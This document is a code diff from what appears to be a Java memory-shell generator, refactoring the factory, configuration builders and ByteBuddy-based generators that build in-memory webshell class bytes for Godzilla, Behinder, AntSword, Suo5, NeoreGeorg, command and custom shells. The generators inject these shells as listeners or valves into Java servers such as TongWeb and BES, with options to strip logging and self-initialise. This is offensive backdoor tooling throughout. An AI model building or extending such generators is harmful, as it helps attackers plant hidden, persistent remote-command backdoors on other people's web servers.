NeoreGeorg(NeoreGeorgGenerator.class, NeoreGeorgConfig.class),
|
||||
Custom(CustomShellGenerator.class, CustomConfig.class);
|
||||
|
||||
private final Class<? extends ShellGenerator> generatorClass;
|
||||
private final Class<? extends ShellToolConfig> configClass;
|
||||
|
||||
ShellTool(Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||
this.generatorClass = generatorClass;
|
||||
this.configClass = configClass;
|
||||
}
|
||||
|
||||
public byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
try {
|
||||
Constructor<? extends ShellGenerator> constructor =
|
||||
generatorClass.getConstructor(ShellConfig.class, configClass);
|
||||
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
|
||||
return generator.getBytes();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("shell generate failed " + e.getMessage(), e);
|
||||
}
|
||||
}
|
||||
public class ShellTool {
|
||||
public static final String Godzilla = "Godzilla";
|
||||
public static final String Behinder = "Behinder";
|
||||
public static final String Command = "Command";
|
||||
public static final String Suo5 = "Suo5";
|
||||
public static final String AntSword = "AntSword";
|
||||
public static final String NeoreGeorg = "NeoreGeorg";
|
||||
public static final String Custom = "Custom";
|
||||
}
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.ShellGenerator;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.generator.*;
|
||||
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/08/22
|
||||
*/
|
||||
public class ShellToolFactory {
|
||||
private static final Map<String, Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>>> instances = new ConcurrentHashMap<>();
|
||||
|
||||
static {
|
||||
register(ShellTool.Godzilla, GodzillaGenerator.class, GodzillaConfig.class);
|
||||
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||
}
|
||||
|
||||
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||
if (shellToolName == null || shellToolName.trim().isEmpty()) {
|
||||
throw new IllegalArgumentException("ShellTool name cannot be null or empty.");
|
||||
}
|
||||
instances.put(shellToolName, Pair.of(generatorClass, configClass));
|
||||
}
|
||||
|
||||
|
||||
public static byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
try {
|
||||
Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>> classClassPair = instances.get(shellConfig.getShellTool());
|
||||
Constructor<? extends ShellGenerator> constructor =
|
||||
classClassPair.getLeft().getConstructor(ShellConfig.class, classClassPair.getRight());
|
||||
ShellGenerator generator = constructor.newInstance(shellConfig, classClassPair.getRight().cast(shellToolConfig));
|
||||
return generator.getBytes();
|
||||
} catch (Exception e) {
|
||||
throw new GenerationException("shell generate failed " + e.getMessage(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@SuperBuilder(toBuilder = true)
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
@@ -20,4 +21,31 @@ public class AntSwordConfig extends ShellToolConfig {
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
public static abstract class AntSwordConfigBuilder<C extends AntSwordConfig, B extends AntSwordConfig.AntSwordConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
public B pass(final String pass) {
|
||||
if (StringUtils.isNotBlank(pass)) {
|
||||
this.pass$value = pass;
|
||||
pass$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@SuperBuilder(toBuilder = true)
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
@@ -20,4 +21,31 @@ public class BehinderConfig extends ShellToolConfig {
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
public static abstract class BehinderConfigBuilder<C extends BehinderConfig, B extends BehinderConfig.BehinderConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
public B pass(final String pass) {
|
||||
if (StringUtils.isNotBlank(pass)) {
|
||||
this.pass$value = pass;
|
||||
pass$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ import lombok.Builder;
|
||||
import lombok.Getter;
|
||||
import lombok.ToString;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -23,6 +24,17 @@ public class CommandConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||
|
||||
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
public B paramName(String paramName) {
|
||||
if (StringUtils.isNotBlank(paramName)) {
|
||||
paramName$value = paramName;
|
||||
paramName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public enum ImplementationClass {
|
||||
RuntimeExec, ForkAndExec;
|
||||
|
||||
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@SuperBuilder(toBuilder = true)
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
@@ -22,4 +23,39 @@ public class GodzillaConfig extends ShellToolConfig {
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
public static abstract class GodzillaConfigBuilder<C extends GodzillaConfig, B extends GodzillaConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
public B pass(final String pass) {
|
||||
if (StringUtils.isNotBlank(pass)) {
|
||||
this.pass$value = pass;
|
||||
pass$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B key(final String key) {
|
||||
if (StringUtils.isNotBlank(key)) {
|
||||
this.key$value = key;
|
||||
key$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -46,4 +46,9 @@ public class InjectorConfig {
|
||||
* 内存马类字节
|
||||
*/
|
||||
private byte[] shellClassBytes;
|
||||
|
||||
/**
|
||||
* 添加静态代码块调用构造方法初始化
|
||||
*/
|
||||
private boolean staticInitialize;
|
||||
}
|
||||
|
||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.config;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -18,4 +19,24 @@ public class NeoreGeorgConfig extends ShellToolConfig {
|
||||
private String headerName = "Referer";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
public static abstract class NeoreGeorgConfigBuilder<C extends NeoreGeorgConfig, B extends NeoreGeorgConfig.NeoreGeorgConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,5 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
@@ -31,7 +30,7 @@ public class ShellConfig {
|
||||
/**
|
||||
* 内存马功能
|
||||
*/
|
||||
private ShellTool shellTool;
|
||||
private String shellTool;
|
||||
|
||||
/**
|
||||
* 内存马类型
|
||||
|
||||
@@ -1,16 +1,18 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.fasterxml.jackson.annotation.JsonIgnore;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Data
|
||||
@SuperBuilder
|
||||
@SuperBuilder(toBuilder = true)
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class ShellToolConfig {
|
||||
@@ -19,6 +21,9 @@ public class ShellToolConfig {
|
||||
*/
|
||||
private Class<?> shellClass;
|
||||
|
||||
@JsonIgnore
|
||||
private transient TypeDescription shellTypeDescription;
|
||||
|
||||
/**
|
||||
* shellClass 的类名
|
||||
*/
|
||||
|
||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.config;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -18,4 +19,24 @@ public class Suo5Config extends ShellToolConfig {
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
public static abstract class Suo5ConfigBuilder<C extends Suo5Config, B extends Suo5Config.Suo5ConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
}
|
||||
+5
-2
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
@@ -16,8 +17,10 @@ public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
|
||||
}
|
||||
|
||||
@Override
|
||||
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||
return builder.field(named("pass")).value(shellToolConfig.getPass())
|
||||
protected DynamicType.Builder<?> getBuilder() {
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("pass")).value(shellToolConfig.getPass())
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||
}
|
||||
|
||||
+6
-2
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
|
||||
@@ -16,9 +17,12 @@ public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
|
||||
super(shellConfig, shellToolConfig);
|
||||
}
|
||||
|
||||
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||
@Override
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
|
||||
return builder.field(named("pass")).value(md5Key)
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("pass")).value(md5Key)
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||
}
|
||||
|
||||
+16
-8
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.ShellGenerator;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
@@ -10,7 +11,7 @@ import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
/**
|
||||
@@ -26,22 +27,25 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
||||
this.shellToolConfig = shellToolConfig;
|
||||
}
|
||||
|
||||
protected abstract DynamicType.Builder<?> build(DynamicType.Builder<?> builder);
|
||||
protected abstract DynamicType.Builder<?> getBuilder();
|
||||
|
||||
@Override
|
||||
public byte[] getBytes() {
|
||||
Class<?> shellClass = shellToolConfig.getShellClass();
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
String shellClassName = shellToolConfig.getShellClassName();
|
||||
DynamicType.Builder<?> builder = build(new ByteBuddy()
|
||||
.redefine(shellClass)
|
||||
.name(shellClassName)
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
|
||||
Class<?> shellClass = shellToolConfig.getShellClass();
|
||||
if (shellClass != null) {
|
||||
shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
|
||||
}
|
||||
if (shellToolConfig.getShellTypeDescription() == null) {
|
||||
throw new GenerationException("shellClass or shellTypeDescription could not be null.");
|
||||
}
|
||||
|
||||
String shellType = shellConfig.getShellType();
|
||||
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||
|
||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
|
||||
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellToolConfig.getShellTypeDescription(), shellClassName);
|
||||
}
|
||||
|
||||
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
||||
@@ -56,6 +60,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
builder = builder
|
||||
.name(shellClassName)
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
|
||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
|
||||
+24
-11
@@ -1,10 +1,13 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.memshell.config.CustomConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.ClassFileLocator;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.jar.asm.ClassReader;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.Base64;
|
||||
@@ -13,21 +16,31 @@ import java.util.Base64;
|
||||
* @author ReaJason
|
||||
* @since 2025/3/18
|
||||
*/
|
||||
public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> {
|
||||
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
||||
|
||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
||||
super(shellConfig, customConfig);
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] getBytes() {
|
||||
protected DynamicType.Builder<?> getBuilder() {
|
||||
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||
|
||||
if (StringUtils.isBlank(shellClassBase64)) {
|
||||
throw new GenerationException("Custom shell class is empty");
|
||||
}
|
||||
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||
byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName());
|
||||
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
||||
ClassReader classReader = new ClassReader(classBytes);
|
||||
String className = classReader.getClassName().replace('/', '.');
|
||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||
shellToolConfig.setShellClassName(className);
|
||||
}
|
||||
ClassFileLocator compoundLocator = new ClassFileLocator.Compound(
|
||||
ClassFileLocator.Simple.of(className, classBytes),
|
||||
ClassFileLocator.ForClassLoader.of(this.getClass().getClassLoader())
|
||||
);
|
||||
TypeDescription typeDescription = new TypePool.Default(
|
||||
new TypePool.CacheProvider.Simple(), compoundLocator,
|
||||
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
|
||||
).describe(className).resolve();
|
||||
shellToolConfig.setShellTypeDescription(typeDescription);
|
||||
return new ByteBuddy()
|
||||
.redefine(typeDescription, compoundLocator);
|
||||
}
|
||||
}
|
||||
|
||||
+5
-2
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
|
||||
@@ -18,10 +19,12 @@ public class GodzillaGenerator extends ByteBuddyShellGenerator<GodzillaConfig> {
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
|
||||
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
|
||||
return builder.field(named("pass")).value(shellToolConfig.getPass())
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("pass")).value(shellToolConfig.getPass())
|
||||
.field(named("key")).value(md5Key)
|
||||
.field(named("md5")).value(md5)
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
|
||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.generator;
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.asm.InnerClassDiscovery;
|
||||
import com.reajason.javaweb.buddy.*;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
@@ -59,6 +60,10 @@ public class InjectorGenerator {
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (injectorConfig.isStaticInitialize() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
builder = StaticBlockSelfConstructorCall.extend(builder);
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
|
||||
|
||||
+22
-11
@@ -1,13 +1,17 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.method.MethodDescription;
|
||||
import net.bytebuddy.description.method.MethodList;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
||||
@@ -18,19 +22,26 @@ import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
||||
*/
|
||||
public class ListenerGenerator {
|
||||
|
||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
|
||||
builder = builder
|
||||
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
|
||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor,
|
||||
TypeDescription typeDefinition, String newClassName) {
|
||||
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
|
||||
|
||||
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
|
||||
.getDeclaredMethods()
|
||||
.filter(named("getFieldValue")
|
||||
if (methods.filter(ElementMatchers.named("getResponseFromRequest")
|
||||
.and(ElementMatchers.takesArguments(Object.class))
|
||||
.and(ElementMatchers.returns(Object.class)))
|
||||
.isEmpty()) {
|
||||
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
|
||||
" make sure arg and return type is Object.class");
|
||||
} else {
|
||||
builder = builder
|
||||
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
|
||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||
}
|
||||
|
||||
if (methods.filter(named("getFieldValue")
|
||||
.and(takesArguments(Object.class, String.class)))
|
||||
.isEmpty();
|
||||
|
||||
if (methodNotFound) {
|
||||
.isEmpty()) {
|
||||
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||
.withParameters(Object.class, String.class)
|
||||
.throwing(Exception.class)
|
||||
|
||||
+5
-2
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
@@ -16,8 +17,10 @@ public class NeoreGeorgGenerator extends ByteBuddyShellGenerator<NeoreGeorgConfi
|
||||
}
|
||||
|
||||
@Override
|
||||
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||
return builder.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
protected DynamicType.Builder<?> getBuilder() {
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
@@ -17,8 +18,9 @@ public class Suo5Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
||||
}
|
||||
|
||||
@Override
|
||||
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||
return builder
|
||||
protected DynamicType.Builder<?> getBuilder() {
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||
}
|
||||
|
||||
+14
-7
@@ -32,13 +32,20 @@ public class ValveGenerator {
|
||||
|
||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||
String packageName = null;
|
||||
if (serverVersion.equals("6")) {
|
||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||
} else if (serverVersion.equals("7")) {
|
||||
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||
} else if (serverVersion.equals("8")) {
|
||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||
} else if (shell instanceof Bes) {
|
||||
if (serverVersion != null) {
|
||||
switch (serverVersion) {
|
||||
case "6":
|
||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||
break;
|
||||
case "7":
|
||||
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||
break;
|
||||
case "8":
|
||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (shell instanceof Bes) {
|
||||
packageName = BES_VALVE_PACKAGE;
|
||||
}
|
||||
if (StringUtils.isEmpty(packageName)) {
|
